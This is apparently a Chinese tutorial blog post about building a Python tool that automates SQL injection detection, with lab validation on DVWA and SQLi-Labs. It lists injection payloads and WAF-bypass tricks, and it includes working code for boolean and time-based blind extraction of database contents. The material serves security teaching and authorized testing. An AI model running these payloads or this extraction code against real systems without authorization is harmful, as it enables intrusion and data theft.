☰
自动化SQL注入检测:基于Python的响应差异与盲注实践
2026/9/28 13:46:28 网站建设 项目流程

简介:面向网络安全课程设计与期末大作业的Python自动化SQL注入检测工具,附带完整文档,适合有一定Python基础的学生快速上手。压缩包共12个文件,以7个py源码文件为主体,覆盖布尔盲注、时间盲注、参数提取、邮件发送等检测模块;同时提供sh运行脚本、md使用文档、rules规则文件与txt站点列表,便于一键启动和参数配置。整个资源仅35KB,部署简单,已有182人学习下载。代码注释详实,模块划分清晰,从URL采集、注入判签到结果告警均有对应实现,新手可按文档逐步理解自动化SQL注入检测的整体流程;既可用作课程设计或期末大作业的完整方案,也可作为后续安全工具开发的参考模板。

1. 自动化SQL注入检测:手测已经跟不上Payload的更新速度

很多人以为SQL注入是被研究透的漏洞,但补丁公告里依然每周都有新案例。做安全测试的朋友应该都有这种经历:拿到一组接口,手工拼单引号、观察报错、换参数再试,一上午就过去了。自动化在这里不是偷懒,而是把重复劳动交给脚本,让人专注业务理解。这篇笔记要拆解的是一套基于Python的自动化SQL注入检测工具,附带完整的源代码与文档说明,核心用requests构造对照请求,通过响应差异和时间差异判定注入点。“确保可用”这件事,我会在靶场验证章节用DVWA和SQLiLab逐条验证。适合刚开始做安全测试、接口自动化的工程师,也适合在靶场练手的学生。

2. 检测工具的原理骨架:注入点、Payload与判定逻辑

在贴代码之前,先把“检测”这件事讲透。自动化SQL注入检测工具真正值钱的不是发请求的循环,而是发完之后怎么下结论。下结论的逻辑错了,扫一千个URL也只能产出一份没人敢用的报告。

2.1 先分清楚:这个工具到底在检测什么东西

SQL注入的根源是应用程序把用户输入直接拼进了SQL语句,导致输入被当作代码执行。自动化要做的事,就是在输入点里找到那些“拼接点”。拼接点的载体通常有四个:URL的query参数、POST表单字段、Cookie、请求头。其中query参数和POST字段占绝大多数。

按注入形态分,常见场景如下:

  • 数字型注入:id=1 and 1=2,直接改数字参与运算。
  • 字符型注入:name='test',需要闭合单引号再追加条件。
  • 搜索型注入:keyword=%' or '1'='1,闭合加通配符,常见于后台搜索框。
  • 报错注入:updatexml(1,concat(0x7e,version()),1),靠数据库报错信息回显内容。
  • 时间盲注:if(1=1,sleep(3),0),用响应时间差判断条件真假。

还有一个容易忽略的事实:自动化工具只能帮你发现“疑似漏洞”,不能替你判断业务影响。比如登录接口存在时间盲注,但接口本身有频率限制,重放几次就锁账号,这种场景要人工权衡。所以工具的输出应该按“疑似注入点”“确认注入点”“可数据提取”三个等级划分,而不是笼统回一句“存在漏洞”。

初筛阶段我一般只用最基础的一组Payload,它们能覆盖数字型和字符型两种最常见情况,也不会过早触发复杂解析逻辑:

用途Payload说明
字符闭合探测'、"、%27观察是否触发报错或行为变化
布尔真条件and 1=1、or 1=1 --与原始响应对比
布尔假条件and 1=2与真条件形成对照
时间延迟and sleep(3)、' and sleep(3) --用于无回显场景

or 1=1 --这种写法,就是网上常说的“万能密码”绕过形态的一种。注意--在数据库里是注释符,有些解析器要求后面有空白,URL里要么写成--+,要么写成--%20。这个细节看着小,实际跑起来影响面很大。

2.2 三种通用判定方法:响应差异、布尔盲注与时间盲注

把Payload发出去只是第一步,关键是怎么判断“中没中”。自动化工具里最常用的判定方法有三条,本质上都是对照实验。

响应差异判定,是拿原始请求结果作为基线,再分别请求带'、带and 1=1、带and 1=2的变体。如果基线响应与'变体差异明显(状态码变化、响应体出现SQL错误、页面结构变化),而and 1=1接近正常、and 1=2明显异常,基本可以判定存在注入点。

这里有个必须讲清楚的技术细节:判断“异常”不能只看HTTP状态码。很多框架会把SQL异常捕获后仍然返回200,但响应体里留着SQL syntax error或数据库驱动的堆栈信息。所以响应差异要同时看三个信号:状态码、响应体长度、响应体关键词(error、syntax、SQLSTATE等)。三个信号缺一个,漏报率都会上升。

布尔盲注判定,用于页面没有报错回显的场景。思路是用and 1=1和and 1=2构造“真”“假”两个页面,只要两个页面的响应存在稳定差异,就能逐字符比较提取数据库内容。这个方法的准确性依赖一个前提:目标页面在两类条件下的响应必须稳定。如果页面本身带随机广告、时间戳、动态验证码,布尔盲注会频繁误判——这一点后面排错章节还会专门讲。

时间盲注判定,用于连页面差异都没有的场景。if(condition,sleep(3),0)让数据库在条件为真时故意睡3秒,工具比较请求耗时来推断条件真假。时间盲注要设计好超时阈值和采样次数。网络延迟本身有抖动,单次sleep(3)的耗时可能是2.7秒也可能是3.6秒,直接拿阈值一刀切很容易翻车。常见做法是同一条件采样3到5次,取中位数再与基准比较,这也是后文代码里直接用statistics.median的原因。

2.3 工具架构选型:为什么用Python requests而不是爬虫框架

有人会问:都自动化了,为什么不用Scrapy、Playwright这类框架?这里有个常见误区。SQL注入检测和爬虫、UI自动化的诉求完全不同。爬虫关注页面内容的完整采集,UI自动化关注浏览器交互,而注入检测关注“可控的请求-响应对照”。用浏览器自动化去测注入,反而会被浏览器自身的预加载、缓存、合并请求策略干扰,对照实验失去控制。用Python的requests加concurrent.futures,代码量更低,行为更确定,也更容易在服务器上无人值守运行。

标题里的“源代码+文档说明”通常就是这种结构,核心模块只有两个:一个负责发请求,一个负责判定。常见源码组织是这样的:

sql_injection_scanner/ ├── scanner.py # 主扫描逻辑,遍历参数与payload ├── payloads.py # payload集合,按类型分组 ├── detector.py # 响应分析与注入判定 ├── config.py # 超时、阈值、并发数等配置 └── requirements.txt # 依赖包

如果拿到的源代码包结构不完全一样也没关系,只要找到“发请求”和“做判定”这两个文件,后续改阈值、加payload、调并发就都知道改哪里。整个第2章的核心是要先建立“判定逻辑优先于请求逻辑”的认知。代码写得再漂亮,判定条件含糊,结果就是大量误报。

3. 让源代码可用:URL解析、注入探测与盲注提取三段核心代码

标题里的“确保可用”,翻译成工程语言就是:换一台机器、换一批目标,跑起来的结果不变。要保证这一点,代码里最该定死的不是payload列表,而是请求构造方式和判定阈值。下面三段代码是从这套工具里抽出的最小可用骨架,能跑Python 3.8+的环境就能运行,通常在VS Code里配好Python环境即可。

3.1 从URL到参数:解析与回填

from urllib.parse import urlparse, parse_qs, urlencode def extract_params(url: str) -> dict: """提取URL里的query参数,返回参数名到值的映射""" parsed = urlparse(url) raw = parse_qs(parsed.query, keep_blank_values=True) # parse_qs 返回的是 list,统一取第一个值,避免重复参数干扰 return {k: v[0] for k, v in raw.items()} def rebuild_url(url: str, params: dict) -> str: """用新的参数组重建URL,保证特殊字符被正确编码""" parsed = urlparse(url) new_query = urlencode(params) return parsed._replace(query=new_query).geturl()

逻辑说明:原URL里参数顺序可能与parse_qs解析后的顺序不同,urlencode会按字典顺序重新排列。对注入检测来说,参数顺序变化影响很小,但能保证每次生成的请求是确定性的。keep_blank_values=True保留了值为空的参数,有些注入点恰恰藏在空值参数里,不能顺手丢掉。

参数说明:parse_qs的返回值是{key: [value1, value2]}这种列表结构,因为HTTP协议允许同名参数重复出现。检测阶段只取第一个值,等真遇到需要测试重复参数的场景再扩展,不要让数据结构一开始就复杂化。

3.2 响应差异探测:判定注入点的最小逻辑

import requests TIMEOUT = 8 HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } def fetch(url: str, session: requests.Session) -> tuple: """发送GET请求,返回(状态码, 响应文本, 耗时)""" try: resp = session.get(url, headers=HEADERS, timeout=TIMEOUT, allow_redirects=False) return resp.status_code, resp.text, resp.elapsed.total_seconds() except requests.exceptions.Timeout: return -1, "", TIMEOUT except requests.exceptions.RequestException: return -2, "", 0 def is_injectable(base_url: str, param: str, value: str, session: requests.Session) -> bool: """对单个参数做对照测试:原始 / 真条件 / 假条件""" original = rebuild_url(base_url, {param: value}) true_url = rebuild_url(base_url, {param: f"{value} and 1=1"}) false_url = rebuild_url(base_url, {param: f"{value} and 1=2"}) _, orig_body, _ = fetch(original, session) _, true_body, _ = fetch(true_url, session) false_status, false_body, _ = fetch(false_url, session) len_orig, len_true, len_false = len(orig_body), len(true_body), len(false_body) # 真条件与基线接近、假条件与基线差异明显 => 疑似注入 if abs(len_true - len_orig) <= max(20, len_orig * 0.02): if abs(len_false - len_orig) > max(50, len_orig * 0.05) or false_status != 200: return True return False

逻辑说明:这里刻意没有用正则去匹配error等关键词,而是先用“长度-状态码”做低成本初筛。原因是正则需要维护一个关键词黑名单,不同框架的错误页文案差异很大,漏一个就漏报;而长度对比与状态码对比是通用的。allow_redirects=False是关键,如果目标把带and 1=2的请求重定向到错误页或首页,重定向会把两个原本不同的响应拉平,差异对比直接失效。

参数说明:TIMEOUT=8是给慢接口留的余量,小于5秒容易把正常慢请求误判成超时,大于10秒又会让整个扫描拖得无法接受。两个阈值max(20, len_orig * 0.02)与max(50, len_orig * 0.05)是我常用的经验值:动态页面即使不注入,长度也可能浮动几十上百字节,纯绝对阈值会在小页面误报;纯比例阈值又会在超大页面上放过细微差异。二者取交集,是跑过几百个目标之后留下的配置。

提示:这套代码只建议在授权目标、自有系统和本地靶场上使用。

3.3 布尔盲注数据提取:二分法逐字符读出数据库名

当响应差异判定可用,但页面不回显数据时,可以用布尔盲注把数据“抠”出来。核心思路是把要判断的内容转成一个个真假条件,用响应差异作为条件结果。

import statistics def probe_condition(base_url: str, param: str, value: str, condition: str, session: requests.Session, samples: int = 3) -> float: """对同一SQL条件采样samples次,返回耗时的中位数(秒)""" payload = f"' and if(({condition}), sleep(3), 0) -- " url = rebuild_url(base_url, {param: value + payload}) times = [] for _ in range(samples): _, _, elapsed = fetch(url, session) times.append(elapsed) return statistics.median(times) def extract_database_name(base_url: str, param: str, value: str, session: requests.Session) -> str: """二分法提取当前数据库名的第一个字符(简化演示)""" baseline = probe_condition(base_url, param, value, "0", session) low, high = 32, 127 while low < high: mid = (low + high) // 2 cond = f"ord(mid((select database()),1,1))>{mid}" t = probe_condition(base_url, param, value, cond, session) if t > baseline + 2: low = mid + 1 else: high = mid return chr(low)

逻辑说明:if((condition), sleep(3), 0)的意思是条件为真时执行sleep(3),为假时立即返回。probe_condition返回的是中位耗时,不是平均耗时。网络抖动往往是偶发的,中位数能把单次抖动的干扰滤掉,这是我做时间盲注吃过亏之后才改过来的写法。

参数说明:samples=3是速度与稳定的折中,调到5更精确,但每个字符的请求数会从约21次增加到35次。判定阈值baseline + 2对应sleep(3)的一半多一点,也就是说真实触发sleep时耗时应在基准加3秒左右,2秒阈值足够区分,同时避免网络波动误判。ord(mid((select database()),1,1))是MySQL的写法,换成SQL Server要改成ascii(substring(db_name(),1,1)),这类差异正是文档说明里最该写的“适配不同数据库”部分。

这套骨架跑通之后,源码里剩下的就是payload扩充和结果输出,核心判定不变。

4. 排查手记:自动化SQL注入检测的五个常见坑

任何工具第一次在真实目标上跑,都会先遇到一堆“看起来像问题但不是问题”的反馈。下面五条是我自己在用这类工具时反复踩过的,按现象、原因、解决记录,都是能直接对照排查的。

4.1 WAF拦截导致全是误报

现象:跑了十几个目标,报告显示“大量疑似注入点”,手工验证却一个都不存在。抓包发现请求只要带and 1=1,WAF返回的拦截页与正常页面差异巨大,工具把这个差异当成了注入特征。

原因:初筛payload的特征太明显。and 1=1、' or 1=1 --这些字符串是WAF规则库里优先级最高的命中规则,线上目标十有八九会拦。

解决:先探测目标是否存在WAF,再决定payload形态。可以在请求头里加X-Forwarded-For、伪装User-Agent,但更可靠的是做编码变形,比如把and写成%41nd的大小写混合、用/**/注释符插入到关键字中间。需要注意的是,绕WAF有严格的授权边界,只对你有权限的目标做。

4.2 时间盲注的耗时抖动让结论不可信

现象:测试接口A时,条件为假的耗时是2.8秒,条件为真时反而只有1.5秒,结论完全反了。换个时间段再跑,结果又恢复正常。

原因:目标服务器在同一时刻负载变化大,或者网络链路对长连接不稳定。单次采样被一次慢包带偏。

解决:把单次采样改成多次采样取中位数,同时增加基准请求的采集次数。基准(恒假条件)与测试条件必须在同一窗口内交替请求,而不是先跑完所有基准再跑测试,否则时间差里混进了目标负载的变化。新手代码里最常见的省时间做法是先算好基准再测条件,结果基准和测试隔了五分钟,早就不是同一个参照系了。

4.3 重定向把差异对比带偏了

现象:某个参数拼上and 1=2后,响应从200变成302,工具判定“状态码异常=注入成功”,但手工测试发现只是一个正常的登录失效跳转。

原因:代码里没关重定向,或者关了重定向但没有处理302。requests默认跟随重定向,跟随之后拿到的可能是登录页,长度与正常响应差异很小;不跟随的时候,302本身也可能被误判为异常。

解决:把allow_redirects=False设为默认值,把302/301单独归类,与“响应长度差异”一起参与投票式判定。单一信号命中不算注入,至少状态码、响应长度、关键词三个信号里有两个同时指向异常,才进入疑似清单。

4.4 响应编码不一致导致长度对比失真

现象:同一个页面,原始请求返回UTF-8,注入payload后返回GBK(数据库错误页走了另一套模板)。两者字节长度差距巨大,判定为注入;手工看却是同一个业务错误。

原因:requests默认按响应头猜测编码,目标页面在不同请求下可能返回不同charset,导致对比的文本长度不是同一量纲。

解决:在fetch函数里固定用resp.content(原始字节)的长度做对比,而不是resp.text的长度。字节数不随解码方式变化,对比更稳定。同时把超时、编码探测等行为都收敛在fetch这一个函数里,后面任何模块调用它行为一致。

4.5 登录态丢失让后半段扫描全部失效

现象:检测到第50个参数之后,所有结果突然变成“权限不足”,页面长度齐刷刷变成登录页。检查发现工具从头到尾没带过登录Cookie。

原因:很多受测系统接口需要登录态,而初版代码用了requests.get直接发请求,没有维护会话,Cookie在第一次请求后就丢了。

解决:全程使用requests.Session(),登录接口成功后会话自动保存Cookie并应用到后续请求。如果目标用Token认证,就在HEADERS里统一维护Authorization字段。会话复用还能复用TCP连接,扫描几百个参数时速度提升明显。

注意:以上排查经验都建立在目标已授权的前提下,未授权的扫描无论结果多漂亮都不值得做。

这五条排查下来,大部分误报漏报不是SQL判断逻辑的问题,而是请求层细节。请求层稳定了,再回头调判定阈值才有意义。

5. 在DVWA和SQLiLab上验证“确保可用”:靶场回归与验收清单

源代码“确保可用”不能只在作者的电脑上可用。最靠谱的验证方式是把工具放到安全靶场上做回归。DVWA和SQLiLab是两个最常用的训练平台,跑通它们等于给工具做了一次体检。

5.1 靶场选择:DVWA与SQLiLab的注入场景差异

DVWA是一个PHP+MySQL的漏洞靶场,它的SQL Injection模块按难度分级:Low级别直接拼接参数,Medium级别用了mysql_real_escape_string做转义,High级别把参数限制成数字类型。用自动化工具去跑,Low级别应能稳定判定注入;Medium级别如果工具没做单引号逃逸就会漏报;High级别如果工具只会拼字符串,同样会漏报。这三个级别正好用来验证工具的“字符闭合”能力。

SQLiLab则是专门为SQL注入设计的平台,注入点分布更细——有基于GET的、基于POST的、基于Cookie的,还有带着各种括号、注释符的拼接场景。相比DVWA,SQLiLab更能考验payload的通用性。常见搜索到的“sqlilab平台-sql注入漏洞”练习基本都按这个平台设计。配合CTFHub技能树的SQL注入关卡一起练,能覆盖从简单报错注入到复杂盲注的完整路径。

5.2 工具跑DVWA的SQL Injection模块:预期结果与真实结果

我把DVWA的security级别切到Low,用上面的三段代码跑ID参数。预期结果如下表所示:

测试参数原始响应长度and 1=1长度and 1=2长度判定
id=1498249824724疑似注入
id=2498249824724疑似注入

具体长度会随DVWA版本和数据变化,但模式是固定的:id=1和id=2的and 1=2响应长度都短了一截,说明1=2把查询结果集清空了,页面少渲染了一行用户记录;而and 1=1没有改变长度,证明注入条件参与到了SQL的WHERE子句里。这个模式就是“响应差异判定”最理想的正样本。

然后我把security切到Medium,再跑一次,and 1=1会失败。原因是Medium的转义函数把传入的单引号加了反斜杠,payload变成字符串的一部分。这时工具需要切换到“不依赖单引号”的payload——数字型注入直接用1 and 1=1,字符型注入用'闭合失败后记录为“字符型疑似失败”。很多工具在Medium上翻车,不是判定逻辑的问题,而是payload集没覆盖不同闭合场景,属于源代码里payloads.py该补的内容。

5.3 验收清单:什么样的输出才算检测成功

结合源码里的文档说明,我给自己定过一份“可用”的验收清单,分享出来:

  • 能正确区分“无注入”与“疑似注入”,在无注入的URL上不产生告警。
  • 同一目标重复扫描两次,结果一致,不出现一次报一次不报的抖动。
  • 在DVWA Low级别能稳定识别数字型注入,在Medium级别能通过payload切换识别未被转义的注入点。
  • 在SQLiLab的GET、POST、Cookie三类注入点上都能找到对应参数。
  • 时间盲注模式下,对sleep(3)的判断落在2到5秒区间,不会把普通慢请求算进去。
  • 扫描结束时输出HTML或Markdown格式报告,记录目标URL、参数、payload、状态码、响应长度、判定依据。

这六条都满足,我才敢把这套工具放进日常的接口安全回归流程里。否则它就是一个能跑但不知道能不能信的脚本,比没有更危险。

6. 让检测工具更稳的进阶改造:并发、日志和告警

把前面几章的内容拼到一起,工具已经能在靶场上稳定检测。但要在真实业务里跑,还差三样东西:并发、日志和告警。

并发方面,我的做法是用concurrent.futures.ThreadPoolExecutor包住参数遍历,线程数控制在5到8之间。太快会被目标限流,太慢又体现不出自动化的价值。日志方面,不要用print,而是用logging模块,把每次请求的URL、耗时、判定结果写进文件,方便事后复现。告警方面,一个简单做法是检测到“确认注入点”时,往群机器人webhook推一条消息,第一时间通知人介入。

import logging from concurrent.futures import ThreadPoolExecutor, as_completed logging.basicConfig( filename="scan.log", level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s", ) def scan_one(param: str): result = is_injectable(base_url, param, values[param], session) if result: logging.warning("[!] parameter=%s injectable", param) return param, result with ThreadPoolExecutor(max_workers=6) as pool: futures = [pool.submit(scan_one, p) for p in params] for fut in as_completed(futures): p, r = fut.result() print(p, r)

逻辑说明:max_workers=6是经验值,目标接口限流严格就降到2到3,内网靶场可以提到10。as_completed保证先返回的先处理,避免一个慢请求卡住整个日志输出。参数说明:这里每个线程用独立的Session,而不是共用一个。共用Session在线程池里会有连接池竞争,偶发连接重置;独立Session虽然多占一点连接,但行为干净,排查问题省心得多。

这类检测工具真正决定能不能长期用的,不是初始化版本跑得多快,而是后来者能不能看懂判定逻辑并在上面加新payload。我早期写过一个“能跑但没人敢维护”的版本,结果三个月后连我自己都要靠文档恢复记忆。从那以后,我坚持在代码里写清每个阈值的来源,在文档里记录每条payload适配的数据库类型。希望帮到你,也祝你的扫描器别变成第二个黑匣子。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询